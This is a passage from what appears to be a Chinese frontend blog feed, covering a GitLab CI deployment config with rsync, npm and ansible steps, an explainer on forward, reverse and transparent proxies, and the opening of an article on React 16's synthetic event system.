&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义一列git分支，并为其创建job&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;except&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义一列git分支，不创建job&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;tags&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义一列tags，用来指定选择哪个Runner（同时Runner也要设置tags）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;allow_failure&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;允许job失败。失败的job不影响commit状态&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;when&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义何时开始job。可以是&lt;code&gt;on_success&lt;/code&gt;，&lt;code&gt;on_failure&lt;/code&gt;，&lt;code&gt;always&lt;/code&gt;或者&lt;code&gt;manual&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;dependencies&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义job依赖关系，这样他们就可以互相传递artifacts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cache&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义应在后续运行之间缓存的文件列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;before_script&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;重写一组在作业前执行的命令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;after_script&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;重写一组在作业后执行的命令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;environment&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义此作业完成部署的环境名称&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;coverage&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;定义给定作业的代码覆盖率设置&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="配置gitlab-ciyml"&gt;配置.gitlab-ci.yml&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;stages:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; deploy_dev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; deploy_test
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; deploy_production
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;deploy_dev:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stage: deploy_dev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; environment:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name: dev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; only:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; dev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; script:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; rsync &lt;span style="color:#f92672"&gt;-&lt;/span&gt;av &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#f92672"&gt;$&lt;/span&gt;{WORKSPACE_PATH} &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cd &lt;span style="color:#f92672"&gt;$&lt;/span&gt;{WORKSPACE_PATH}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; npm run build:dev
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; ansible&lt;span style="color:#f92672"&gt;-&lt;/span&gt;playbook ansible&lt;span style="color:#f92672"&gt;-&lt;/span&gt;deploy&lt;span style="color:#f92672"&gt;.&lt;/span&gt;yml &lt;span style="color:#f92672"&gt;--&lt;/span&gt;extra&lt;span style="color:#f92672"&gt;-&lt;/span&gt;vars &lt;span style="color:#e6db74"&gt;&amp;#34;hosts=cloud_ui_test projectDir=${WORKSPACE_DIST_PATH} projectName=${PROJECT_NAME} webRootPath=/opt/devroot/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;deploy_test:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stage: deploy_test
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; environment:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name: test
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; only:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; master
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; script:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; rsync &lt;span style="color:#f92672"&gt;-&lt;/span&gt;av &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#f92672"&gt;$&lt;/span&gt;{WORKSPACE_PATH} &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; cd &lt;span style="color:#f92672"&gt;$&lt;/span&gt;{WORKSPACE_PATH}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; npm run build:stage
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; ansible&lt;span style="color:#f92672"&gt;-&lt;/span&gt;playbook ansible&lt;span style="color:#f92672"&gt;-&lt;/span&gt;deploy&lt;span style="color:#f92672"&gt;.&lt;/span&gt;yml &lt;span style="color:#f92672"&gt;--&lt;/span&gt;extra&lt;span style="color:#f92672"&gt;-&lt;/span&gt;vars &lt;span style="color:#e6db74"&gt;&amp;#34;hosts=cloud_ui_test projectDir=${WORKSPACE_DIST_PATH} projectName=${PROJECT_NAME} webRootPath=${WEB_ROOT_PATH}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;deploy_production:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; stage: deploy_production
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; only:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; production
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; when: manual
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; script:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; npm install
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; npm run build:prod
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; ansible&lt;span style="color:#f92672"&gt;-&lt;/span&gt;playbook ansible&lt;span style="color:#f92672"&gt;-&lt;/span&gt;deploy&lt;span style="color:#f92672"&gt;.&lt;/span&gt;yml &lt;span style="color:#f92672"&gt;--&lt;/span&gt;extra&lt;span style="color:#f92672"&gt;-&lt;/span&gt;vars &lt;span style="color:#e6db74"&gt;&amp;#34;hosts=dvs-front-prod projectDir=${PROJECT_PATH} projectName=xianglin-cloud-ui/${PROJECT_NAME} webRootPath=/opt/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上面这个.yml文件,我们首先定义了三个阶段，deploy_dev部署到dev环境，并且拉去的是dev分支代码; deploy_test部署到test环境，拉去的是master分支代码，deploy_production拉取production分支代码，执行完后需要手动操作&lt;/p&gt;</description></item><item><title>正向代理和反向代理</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/</guid><description>&lt;h3 id="1-概念"&gt;1. 概念&lt;/h3&gt;
&lt;p&gt;正向代理是一个位于客户端和目标服务器之间的代理服务器(中间服务器)。为了从原始服务器取得内容，客户端向代理服务器发送一个请求，并且指定目标服务器，之后代理向目标服务器转交并且将获得的内容返回给客户端。正向代理的情况下客户端必须要进行一些特别的设置才能使用。&lt;/p&gt;
&lt;p&gt;反向代理正好相反。对于客户端来说，反向代理就好像目标服务器。并且客户端不需要进行任何设置。客户端向反向代理发送请求，接着反向代理判断请求走向何处，并将请求转交给客户端，使得这些内容就好似他自己一样，一次客户端并不会感知到反向代理后面的服务，也因此不需要客户端做任何设置，只需要把反向代理服务器当成真正的服务器就好了。&lt;/p&gt;
&lt;h3 id="2-区别"&gt;2. 区别&lt;/h3&gt;
&lt;p&gt;正向代理需要你主动设置代理服务器ip或者域名进行访问，由设置的服务器ip或者域名去获取访问内容并返回；而反向代理不需要你做任何设置，直接访问服务器真实ip或者域名，但是服务器内部会自动根据访问内容进行跳转及内容返回，你不知道它最终访问的是哪些机器。&lt;/p&gt;
&lt;p&gt;正向代理是代理客户端，为客户端收发请求，使真实客户端对服务器不可见；而反向代理是代理服务器端，为服务器收发请求，使真实服务器对客户端不可见。&lt;/p&gt;
&lt;p&gt;从上面的描述也能看得出来正向代理和反向代理最关键的两点区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;是否指定目标服务器&lt;/li&gt;
&lt;li&gt;客户端是否要做设置 下面用一张图来表示两者的差异： &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/image-01.png"&gt; &lt;em&gt;正向代理与反向代理&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;正向代理中，proxy和client同属一个LAN，对server透明； 反向代理中，proxy和server同属一个LAN，对client透明。 实际上proxy在两种代理中做的事都是代为收发请求和响应，不过从结构上来看正好左右互换了下，所以把前者那种代理方式叫做正向代理，后者叫做反向代理。&lt;/p&gt;
&lt;p&gt;从用途上来区分：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;正向代理：正向代理用途是为了在防火墙内的局域网提供访问internet的途径。另外还可以使用缓冲特性减少网络使用率&lt;/li&gt;
&lt;li&gt;反向代理：反向代理的用途是将防火墙后面的服务器提供给internet用户访问。同时还可以完成诸如负载均衡等功能&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从安全性来讲：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;正向代理：正向代理允许客户端通过它访问任意网站并且隐蔽客户端自身，因此你必须采取安全措施来确保仅为经过授权的客户端提供服务&lt;/li&gt;
&lt;li&gt;反向代理：对外是透明的，访问者并不知道自己访问的是代理。对访问者而言，他以为访问的就是原始服务器&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-使用场景"&gt;3. 使用场景&lt;/h3&gt;
&lt;p&gt;正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。正向代理还可以使用缓冲特性减少网络使用率。反向代理的典型用途是将 防火墙后面的服务器提供给Internet用户访问。反向代理还可以为后端的多台服务器提供负载平衡，或为后端较慢的服务器提供缓冲服务。&lt;/p&gt;
&lt;h5 id="31-正向代理"&gt;3.1 正向代理&lt;/h5&gt;
&lt;p&gt;从上面的介绍也就可以猜出来正向代理的至少一个功能（俗称翻墙），也即：&lt;/p&gt;
&lt;p&gt;用户A无法访问facebook，但是能访问服务器B，而服务器B可以访问facebook。于是用户A访问服务器B，通过服务器B去访问facebook，，服务器B收到请求后，去访问facebook，facebook把响应信息返回给服务器B，服务器B再把响应信息返回给A。这样，通过代理服务器B，就实现了翻墙。&lt;/p&gt;
&lt;h5 id="32-反向代理"&gt;3.2 反向代理&lt;/h5&gt;
&lt;p&gt;从上面的介绍也可以猜出来反向代理的至少一个功能（比如负载均衡），也即：&lt;/p&gt;
&lt;p&gt;假设用户A访问 **&lt;a href="http://www.somesite.com/something.html**%EF%BC%8C%E4%BD%86"&gt;www.somesite.com/something.html**，但&lt;/a&gt; &lt;a href="http://www.somesite.com/"&gt;www.somesite.com&lt;/a&gt; 上并不存在something.html页面，于是接收用户请求的该服务器就偷偷从另外一台服务器上取回来，然后返回给用户，而用户并不知道something.html页面究竟位于哪台机器上。&lt;/p&gt;
&lt;p&gt;反向代理的作用就比较多了，这里简单列举一下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保护和隐藏原始资源服务器&lt;/li&gt;
&lt;li&gt;加密和SSL加速&lt;/li&gt;
&lt;li&gt;负载均衡&lt;/li&gt;
&lt;li&gt;缓存静态内容&lt;/li&gt;
&lt;li&gt;压缩&lt;/li&gt;
&lt;li&gt;减速上传&lt;/li&gt;
&lt;li&gt;安全&lt;/li&gt;
&lt;li&gt;外网发布&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面做两个简单介绍&lt;/p&gt;
&lt;h4 id="保护和隐藏原始资源服务器"&gt;保护和隐藏原始资源服务器&lt;/h4&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/image-02.png"&gt; &lt;em&gt;代理作用&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;用户A始终认为它访问的是原始服务器B而不是代理服务器Z，但实用际上反向代理服务器接受用户A的应答，从原始资源服务器B中取得用户A的需求资源，然后发送给用户A。由于防火墙的作用，只允许代理服务器Z访问原始资源服务器B。尽管在这个虚拟的环境下，防火墙和反向代理的共同作用保护了原始资源服务器B，但用户A并不知情。&lt;/p&gt;
&lt;h4 id="负载均衡"&gt;负载均衡&lt;/h4&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/image-03.png"&gt; &lt;em&gt;负载均衡&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;当反向代理服务器不止一个的时候，我们甚至可以把它们做成集群，当更多的用户访问资源服务器B的时候，让不同的代理服务器Z（x）去应答不同的用户，然后发送不同用户需要的资源。&lt;/p&gt;
&lt;h5 id="33-透明代理"&gt;3.3 透明代理&lt;/h5&gt;
&lt;p&gt;透明代理比较类似正向代理的功能，差别在于客户端根本不知道代理的存在，它改编你的request，并会传送真实IP（使用场景就是公司限制网络的访问）。&lt;/p&gt;
&lt;p&gt;比如为了工作效率或者安全，A公司屏蔽了QQ软件的使用。A公司的员工接上了网络，但发现无法使用qq。这就是透明代理捣的鬼。公司在内网和外网的中间插入一个透明代理，这个代理会根据规则抓取请求内容，遇到qq的请求我就把这个请求给屏蔽掉，这样就完成了透明屏蔽。当然了，如果你明白原理，就可以自己搞个正向代理来绕过公司的屏蔽。&lt;/p&gt;
&lt;p&gt;Nginx作为时下最流行的HTTP服务器之一，同时它是一个反向代理服务器，提到反向代理服务器，有同学可能觉得这个概念很模糊，如果说到代理，他可能明白，但是再引出一个正向代理，估计懵了，笔者将尝试用浅显易懂的比方把这两个概念解释清楚。&lt;/p&gt;
&lt;h2 id="正向代理"&gt;正向代理&lt;/h2&gt;
&lt;p&gt;A同学在大众创业、万众创新的大时代背景下开启他的创业之路，目前他遇到的最大的一个问题就是启动资金，于是他决定去找马云爸爸借钱，可想而知，最后碰一鼻子灰回来了，情急之下，他想到一个办法，找关系开后门，经过一番消息打探，原来A同学的大学老师王老师是马云的同学，于是A同学找到王老师，托王老师帮忙去马云那借500万过来，当然最后事成了。不过马云并不知道这钱是A同学借的，马云是借给王老师的，最后由王老师转交给A同学。这里的王老师在这个过程中扮演了一个非常关键的角色，就是代理，也可以说是正向代理，王老师代替A同学办这件事，这个过程中，真正借钱的人是谁，马云是不知道的，这点非常关键。&lt;/p&gt;
&lt;p&gt;我们常说的代理也就是只正向代理，正向代理的过程，它隐藏了真实的请求客户端，服务端不知道真实的客户端是谁，客户端请求的服务都被代理服务器代替来请求，知名的科学上网工具shadowsocks 扮演的就是典型的正向代理角色。在天朝用浏览器访问 &lt;a href="https://link.jianshu.com/?t=http://www.google.com"&gt;www.google.com&lt;/a&gt; 时，被残忍的拒绝了，于是你可以在国外搭建一台代理服务器，让代理帮我去请求&lt;a href="https://link.jianshu.com/?t=http://google.com"&gt;google.com&lt;/a&gt;，代理把请求返回的相应结构再返回给我。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/network-009/image-04.png"&gt; _&lt;/p&gt;
&lt;h2 id="反向代理"&gt;反向代理&lt;/h2&gt;
&lt;p&gt;大家都有过这样的经历，拨打10086客服电话，可能一个地区的10086客服有几个或者几十个，你永远都不需要关心在电话那头的是哪一个，叫什么，男的，还是女的，漂亮的还是帅气的，你都不关心，你关心的是你的问题能不能得到专业的解答，你只需要拨通了10086的总机号码，电话那头总会有人会回答你，只是有时慢有时快而已。那么这里的10086总机号码就是我们说的反向代理。客户不知道真正提供服务人的是谁。&lt;/p&gt;
&lt;p&gt;反向代理隐藏了真实的服务端，当我们请求 &lt;a href="http://www.baidu.com/"&gt;www.baidu.com&lt;/a&gt; 的时候，就像拨打10086一样，背后可能有成千上万台服务器为我们服务，但具体是哪一台，你不知道，也不需要知道，你只需要知道反向代理服务器是谁就好了，&lt;code&gt;www.baidu.com&lt;/code&gt; 就是我们的反向代理服务器，反向代理服务器会帮我们把请求转发到真实的服务器那里去。Nginx就是性能非常好的反向代理服务器，用来做负载均衡。&lt;/p&gt;</description></item><item><title>react 事件机制</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-009/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-009/</guid><description>&lt;h2 id="一-前言"&gt;一 前言&lt;/h2&gt;
&lt;p&gt;我们来一起探讨一下&lt;code&gt;React&lt;/code&gt;事件原理，这篇文章，我尽量用通俗简洁的方式，把&lt;code&gt;React&lt;/code&gt;事件系统讲的明明白白。&lt;/p&gt;
&lt;p&gt;我们讲的&lt;code&gt;react&lt;/code&gt;版本是&lt;code&gt;16.13.1&lt;/code&gt; , &lt;code&gt;v17&lt;/code&gt;之后&lt;code&gt;react&lt;/code&gt;对于事件系统会有相关的改版，文章后半部分会提及。&lt;/p&gt;
&lt;p&gt;老规矩，在正式讲解&lt;code&gt;react&lt;/code&gt;之前，我们先想想这几个问题(&lt;strong&gt;如果我是面试官，你会怎么回答?&lt;/strong&gt;)：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我们写的事件是绑定在&lt;code&gt;dom&lt;/code&gt;上么，如果不是绑定在哪里？&lt;/li&gt;
&lt;li&gt;为什么我们的事件不能绑定给组件？&lt;/li&gt;
&lt;li&gt;为什么我们的事件手动绑定&lt;code&gt;this&lt;/code&gt;(不是箭头函数的情况)&lt;/li&gt;
&lt;li&gt;为什么不能用 &lt;code&gt;return false&lt;/code&gt; 来阻止事件的默认行为？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;react&lt;/code&gt;怎么通过&lt;code&gt;dom&lt;/code&gt;元素，找到与之对应的 &lt;code&gt;fiber&lt;/code&gt;对象的？&lt;/li&gt;
&lt;li&gt;&lt;code&gt;onClick&lt;/code&gt;是在冒泡阶段绑定的？ 那么&lt;code&gt;onClickCapture&lt;/code&gt;就是在事件捕获阶段绑定的吗？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-009/image-01.webp"&gt;&lt;/p&gt;
&lt;h2 id="必要的知识概念"&gt;必要的知识概念&lt;/h2&gt;
&lt;p&gt;在弄清楚&lt;code&gt;react&lt;/code&gt;事件之前，有几个概念我们必须弄清楚，因为只有弄明白这几个概念，在事件触发阶段，我们才能更好的理解&lt;code&gt;react&lt;/code&gt;处理事件本质。&lt;/p&gt;
&lt;h3 id="我们写在jsx事件终将变成什么"&gt;我们写在JSX事件终将变成什么？&lt;/h3&gt;
&lt;p&gt;我们先写一段含有点击事件的&lt;code&gt;react JSX&lt;/code&gt;语法，看一下它最终会变成什么样子？&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Index&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Component&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;handerClick&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;) =&amp;gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onClick&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{ &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;handerClick&lt;/span&gt; } &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;按钮点击&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/button&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/div&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;经过&lt;code&gt;babel&lt;/code&gt;转换成&lt;code&gt;React.createElement&lt;/code&gt;形式，如下：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-009/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;最终转成&lt;code&gt;fiber&lt;/code&gt;对象形式如下：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-009/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;fiber&lt;/code&gt;对象上的&lt;code&gt;memoizedProps&lt;/code&gt; 和 &lt;code&gt;pendingProps&lt;/code&gt;保存了我们的事件。&lt;/p&gt;
&lt;h3 id="什么是合成事件"&gt;什么是合成事件？&lt;/h3&gt;
&lt;p&gt;通过上一步我们看到了，我们声明事件保存的位置。但是事件有没有被真正的注册呢？我们接下来看一下：&lt;/p&gt;
&lt;p&gt;我们看一下当前这个元素&lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt;上有没有绑定这个事件监听器呢？&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-009/image-04.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;button上绑定的事件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们可以看到 ，&lt;code&gt;button&lt;/code&gt;上绑定了两个事件，一个是&lt;code&gt;document&lt;/code&gt;上的事件监听器，另外一个是&lt;code&gt;button&lt;/code&gt;，但是事件处理函数&lt;code&gt;handle&lt;/code&gt;，并不是我们的&lt;code&gt;handerClick&lt;/code&gt;事件，而是&lt;code&gt;noop&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;noop&lt;/code&gt;是什么呢？我们接着来看。&lt;/p&gt;
&lt;p&gt;原来&lt;code&gt;noop&lt;/code&gt;就指向一个空函数。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-009/image-05.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后我们看&lt;code&gt;document&lt;/code&gt;绑定的事件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/react/react-009/image-06.webp"&gt;&lt;/p&gt;
&lt;p&gt;可以看到&lt;code&gt;click&lt;/code&gt;事件被绑定在&lt;code&gt;document&lt;/code&gt;上了。&lt;/p&gt;
&lt;p&gt;接下来我们再搞搞事情😂😂😂，在&lt;code&gt;demo&lt;/code&gt;项目中加上一个&lt;code&gt;input&lt;/code&gt;输入框，并绑定一个&lt;code&gt;onChange&lt;/code&gt;事件。睁大眼睛看看接下来会发生什么？&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Index&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Component&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;componentDidMount&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;handerClick&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;) =&amp;gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;)
